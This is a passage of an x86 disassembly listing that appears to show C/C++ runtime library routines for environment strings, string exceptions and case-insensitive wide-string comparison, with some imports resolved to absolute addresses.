		call	sub_42638A
		pop	ecx
		mov	dword_4DB950, eax


loc_4261F5:				; CODE XREF: sub_4261AB+3Cj
		cmp	eax, edi
		jnz	short loc_42624D
		cmp	[ebp+arg_4], edi
		jz	short loc_426217
		cmp	dword_4DB958, edi
		jz	short loc_426217
		call	sub_425E95
		test	eax, eax
		jz	short loc_42624D


loc_42620F:				; CODE XREF: sub_4261AB+Dj
					; sub_4261AB+22j ...
		or	eax, 0FFFFFFFFh


loc_426212:				; CODE XREF: sub_4261AB+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_426217:				; CODE XREF: sub_4261AB+51j
					; sub_4261AB+59j
		cmp	ebx, edi
		jnz	loc_42632B
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB950, eax
		jz	short loc_42620F
		mov	[eax], edi
		cmp	dword_4DB958, edi
		jnz	short loc_42624D
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB958, eax
		jz	short loc_42620F
		mov	[eax], edi


loc_42624D:				; CODE XREF: sub_4261AB+4Cj
					; sub_4261AB+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4DB950
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_426332
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_4262AD
		cmp	dword ptr [edi], 0
		jz	short loc_4262AD
		test	ebx, ebx
		jz	short loc_4262A5
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_41B0B1
		pop	ecx


loc_42627F:				; CODE XREF: sub_4261AB+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_42628F
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_42627F
; ---------------------------------------------------------------------------


loc_42628F:				; CODE XREF: sub_4261AB+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4262DF
		jmp	short loc_4262DA
; ---------------------------------------------------------------------------


loc_4262A5:				; CODE XREF: sub_4261AB+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4262DF
; ---------------------------------------------------------------------------


loc_4262AD:				; CODE XREF: sub_4261AB+BDj
					; sub_4261AB+C2j
		test	ebx, ebx
		jnz	short loc_42632B
		test	esi, esi
		jge	short loc_4262B7
		neg	esi


loc_4262B7:				; CODE XREF: sub_4261AB+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_42620F
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_4262DA:				; CODE XREF: sub_4261AB+F8j
		mov	dword_4DB950, eax


loc_4262DF:				; CODE XREF: sub_4261AB+F6j
					; sub_4261AB+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_42632B
		push	[ebp+arg_0]
		call	sub_41AFE0
		inc	eax
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_42632B
		push	[ebp+arg_0]
		push	esi
		call	sub_41BEB0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		nop
		call	near ptr 25C104Ah
		push	esi
		call	sub_41B0B1
		pop	ecx


loc_42632B:				; CODE XREF: sub_4261AB+6Ej
					; sub_4261AB+104j ...
		xor	eax, eax
		jmp	loc_426212
sub_4261AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_426332	proc near		; CODE XREF: sub_4261AB+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4DB950
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42636D
		mov	edi, [esp+8+arg_4]


loc_426344:				; CODE XREF: sub_426332+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_426363
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_42637D
		test	al, al
		jz	short loc_42637D


loc_426363:				; CODE XREF: sub_426332+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_426344


loc_42636D:				; CODE XREF: sub_426332+Cj
		mov	eax, esi
		sub	eax, dword_4DB950
		sar	eax, 2
		neg	eax


loc_42637A:				; CODE XREF: sub_426332+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42637D:				; CODE XREF: sub_426332+2Bj
					; sub_426332+2Fj
		mov	eax, esi
		sub	eax, dword_4DB950
		sar	eax, 2
		jmp	short loc_42637A
sub_426332	endp


; =============== S U B	R O U T	I N E =======================================



sub_42638A	proc near		; CODE XREF: sub_4261AB+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_426399
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_426399:				; CODE XREF: sub_42638A+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_4263AB


loc_4263A1:				; CODE XREF: sub_42638A+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_4263A1


loc_4263AB:				; CODE XREF: sub_42638A+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4263CC
		push	9
		call	sub_41DA29
		pop	ecx


loc_4263CC:				; CODE XREF: sub_42638A+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_4263D0:				; CODE XREF: sub_42638A+5Bj
		test	eax, eax
		jz	short loc_4263E7
		push	eax
		add	ebx, 4
		call	sub_426464
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4263D0
; ---------------------------------------------------------------------------


loc_4263E7:				; CODE XREF: sub_42638A+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_42638A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4263F1	proc near		; CODE XREF: sub_4261AB+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4DCD9C, 0
		jnz	short loc_42640C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41BFB0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42640C:				; CODE XREF: sub_4263F1+Aj
		mov	ecx, [ebp+arg_0]


loc_42640F:				; CODE XREF: sub_4263F1+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_426452
		movzx	edx, al
		test	byte_4DCEA1[edx], 4
		jz	short loc_42643E
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_426449
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_42644D
		jmp	short loc_426446
; ---------------------------------------------------------------------------


loc_42643E:				; CODE XREF: sub_4263F1+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_426452


loc_426446:				; CODE XREF: sub_4263F1+4Bj
		inc	ecx
		jmp	short loc_42640F
; ---------------------------------------------------------------------------


loc_426449:				; CODE XREF: sub_4263F1+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42644D:				; CODE XREF: sub_4263F1+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_426452:				; CODE XREF: sub_4263F1+25j
					; sub_4263F1+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4263F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_426464	proc near		; CODE XREF: sub_417EEE+21p
					; sub_42638A+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648B
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648B
		push	esi
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42648B:				; CODE XREF: sub_426464+7j
					; sub_426464+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426464	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: sub_426573+19p
					; sub_42669A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D6EF
		mov	eax, esi
		pop	esi
		retn	8
sub_426490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264BA	proc near		; CODE XREF: ___:004264E5p
					; sub_426568+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_40D6B3
		mov	ecx, esi
		pop	esi
		jmp	sub_4268B6
sub_4264BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264D5	proc near		; DATA XREF: ___:00427D10o
					; ___:00427D20o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4264E1
		mov	eax, offset dword_4276A8

locret_4264E1:				; CODE XREF: sub_4264D5+5j
		retn
sub_4264D5	endp

; ---------------------------------------------------------------------------


loc_4264E2:				; DATA XREF: ___:off_427D0Co
		push	esi
		mov	esi, ecx
		call	sub_4264BA
		test	byte ptr [esp+8], 1
		jz	short loc_4264F8
		push	esi
		call	sub_41CC83
		pop	ecx


loc_4264F8:				; CODE XREF: ___:004264EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264FE	proc near		; CODE XREF: sub_426573+29p
		mov	eax, offset loc_426E32
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4264FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42654C	proc near		; DATA XREF: ___:off_427D1Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426568
		test	[esp+4+arg_0], 1
		jz	short loc_426562
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426562:				; CODE XREF: sub_42654C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42654C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426568	proc near		; CODE XREF: sub_42654C+3p
					; DATA XREF: ___:00428094o
		mov	dword ptr [ecx], offset	off_427D1C
		jmp	sub_4264BA
sub_426568	endp


; =============== S U B	R O U T	I N E =======================================



sub_426573	proc near		; CODE XREF: sub_40D560+13p
					; sub_40D724+Ep
		mov	eax, offset loc_426E44
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4264FE
		push	offset dword_428090
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_426573	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4265B0	proc near		; CODE XREF: sub_4264FE+32p
					; sub_4265D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D560
		mov	eax, esi
		pop	esi
		retn	4
sub_4265B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4265D0	proc near		; CODE XREF: sub_42669A+29p
		mov	eax, offset loc_426E56
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4265D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426618	proc near		; CODE XREF: sub_426682+7p
					; sub_4266DE+7p ...
		mov	eax, offset loc_426E68
		call	sub_41CC64
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42686C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426618	endp


; =============== S U B	R O U T	I N E =======================================



sub_42665B	proc near		; DATA XREF: ___:off_427D48o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426677
		test	[esp+4+arg_0], 1
		jz	short loc_426671
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426671:				; CODE XREF: sub_42665B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42665B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426677	proc near		; CODE XREF: sub_42665B+3p
					; DATA XREF: ___:0042813Co
		mov	dword ptr [ecx], offset	off_427D48
		jmp	sub_4264BA
sub_426677	endp


; =============== S U B	R O U T	I N E =======================================



sub_426682	proc near		; CODE XREF: sub_4266F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		retn	4
sub_426682	endp


; =============== S U B	R O U T	I N E =======================================



sub_42669A	proc near		; CODE XREF: sub_40D4B0+15p
					; sub_40D509+15p ...
		mov	eax, offset loc_426E7A
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4265D0
		push	offset dword_428138
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427D48
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_42669A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4266DE	proc near		; CODE XREF: sub_4266F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D48
		mov	eax, esi
		pop	esi
		retn	4
sub_4266DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4266F6	proc near		; DATA XREF: ___:00427D14o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426618
		push	offset dword_428178
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger


loc_426714:				; DATA XREF: ___:00427D50o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4266DE
		push	offset dword_428138
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger


loc_426732:				; DATA XREF: ___:00427D24o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426682
		push	offset dword_428090
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_4266F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426750	proc near
		nop
		jmp	near ptr 71B2ACCBh
sub_426750	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426756	proc near		; CODE XREF: sub_40CE40+5Ep
					; ___:00414BE5p ...
		nop
		jmp	near ptr 71AB1B7Bh
sub_426756	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_42675C	proc near		; CODE XREF: sub_41C8D0+23p
					; sub_41CB74+13p
		jmp	near ptr 2860000h
sub_42675C	endp

; ---------------------------------------------------------------------------
		push	ebp

; =============== S U B	R O U T	I N E =======================================



sub_426762	proc near		; CODE XREF: sub_417275+E2p
					; sub_417275+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DB9E4, 0
		push	ebx
		jnz	short loc_4267A8
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_426774:				; CODE XREF: sub_426762+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426786
		cmp	bx, 41h
		jb	short loc_426786
		add	ebx, 20h


loc_426786:				; CODE XREF: sub_426762+19j
					; sub_426762+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_426798
		cmp	ax, 41h
		jb	short loc_426798
		add	eax, 20h


loc_426798:				; CODE XREF: sub_426762+2Bj
					; sub_426762+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_4267D8
		cmp	bx, ax
		jz	short loc_426774
		jmp	short loc_4267D8
; ---------------------------------------------------------------------------


loc_4267A8:				; CODE XREF: sub_426762+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_4267B2:				; CODE XREF: sub_426762+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_426913
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_426913
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_4267D6
		cmp	bx, ax
		jz	short loc_4267B2


loc_4267D6:				; CODE XREF: sub_426762+6Dj
		pop	edi
		pop	esi


loc_4267D8:				; CODE XREF: sub_426762+3Dj
					; sub_426762+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_426762	endp


; =============== S U B	R O U T	I N E =======================================



sub_4267E2	proc near		; CODE XREF: ___:004267FAp
		mov	dword ptr [ecx], offset	off_427D68
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4267F6
		push	ecx
		call	sub_41B0B1
		pop	ecx

locret_4267F6:				; CODE XREF: sub_4267E2+Bj
		retn
sub_4267E2	endp

; ---------------------------------------------------------------------------


loc_4267F7:				; DATA XREF: ___:off_427D68o
		push	esi
		mov	esi, ecx
		call	sub_4267E2
		test	byte ptr [esp+8], 1
		jz	short loc_42680D
		push	esi
		call	sub_41CC83
		pop	ecx


loc_42680D:				; CODE XREF: ___:00426804j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_426813:				; DATA XREF: ___:off_427D70o
		push	esi
		mov	esi, ecx
		call	sub_4268B6
		test	byte ptr [esp+8], 1
		jz	short loc_426829
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426829:				; CODE XREF: ___:00426820j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_42682F	proc near		; CODE XREF: sub_4264FE+1Dp
					; sub_4265D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		push	dword ptr [edi]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42685E
		push	dword ptr [edi]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_42685E:				; CODE XREF: sub_42682F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42682F	endp


; =============== S U B	R O U T	I N E =======================================



sub_42686C	proc near		; CODE XREF: sub_426618+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_4268A9
		push	dword ptr [edi+4]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4268AF
		push	dword ptr [edi+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		jmp	short loc_4268AF
; ---------------------------------------------------------------------------


loc_4268A9:				; CODE XREF: sub_42686C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_4268AF:				; CODE XREF: sub_42686C+2Ej
					; sub_42686C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42686C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268B6	proc near		; CODE XREF: sub_4264BA+16j
					; ___:00426816p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427D70
		jz	short locret_4268CB
		push	dword ptr [ecx+4]
		call	sub_41CC83
		pop	ecx

locret_4268CB:				; CODE XREF: sub_4268B6+Aj
		retn
sub_4268B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268CC	proc near		; DATA XREF: ___:00427D74o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4268D8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4268D8:				; CODE XREF: sub_4268CC+5j
		retn
sub_4268CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268D9	proc near		; CODE XREF: sub_426573+37p
					; sub_42669A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D90
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	near ptr 265044Bh
		nop
		pop	edi
		pop	esi
		leave
		retn	8
sub_4268D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426913	proc near		; CODE XREF: sub_426762+56p
					; sub_426762+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_426925
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426925:				; CODE XREF: sub_426913+Bj
		cmp	dword_4DB9E4, 0
		jnz	short loc_42693F
		cmp	ax, 41h
		jb	short locret_426986
		cmp	ax, 5Ah
		ja	short locret_426986
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_42693F:				; CODE XREF: sub_426913+19j
		cmp	ax, 100h
		jnb	short loc_426959
		push	1
		push	eax
		call	sub_426BC1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426959
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_426959:				; CODE XREF: sub_426913+30j
					; sub_426913+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DB9E4
		call	sub_426988
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426986
		mov	ax, [ebp+var_2]

locret_426986:				; CODE XREF: sub_426913+1Fj
					; sub_426913+25j ...
		leave
		retn
sub_426913	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426988	proc near		; CODE XREF: sub_426913+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DB0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DBC3C, esi
		jnz	short loc_4269FE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	edi, 100h
		push	edi
		push	esi
		call	near ptr 2630000h
		nop
		test	eax, eax
		jz	short loc_4269DC
		mov	dword_4DBC3C, ebx
		jmp	short loc_4269FE
; ---------------------------------------------------------------------------


loc_4269DC:				; CODE XREF: sub_426988+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_4CB4DC
		push	edi
		push	esi
		call	near ptr 2640000h
		nop
		test	eax, eax
		jz	loc_426B7D
		mov	dword_4DBC3C, 2


loc_4269FE:				; CODE XREF: sub_426988+2Ej
					; sub_426988+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_426A13
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426B91
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_426A13:				; CODE XREF: sub_426988+79j
		mov	eax, dword_4DBC3C
		cmp	eax, 1
		jnz	short loc_426A3A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2630000h
		jmp	loc_426B7F
; ---------------------------------------------------------------------------


loc_426A3A:				; CODE XREF: sub_426988+93j
		cmp	eax, 2
		jnz	loc_426B7D
		cmp	[ebp+arg_18], esi
		jnz	short loc_426A50
		mov	eax, dword_4DB9F4
		mov	[ebp+arg_18], eax


loc_426A50:				; CODE XREF: sub_426988+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2810000h
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_426B7D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426A96
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_426A96:				; CODE XREF: sub_426988+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2810000h
		test	eax, eax
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2640000h
		nop
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_426B7D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
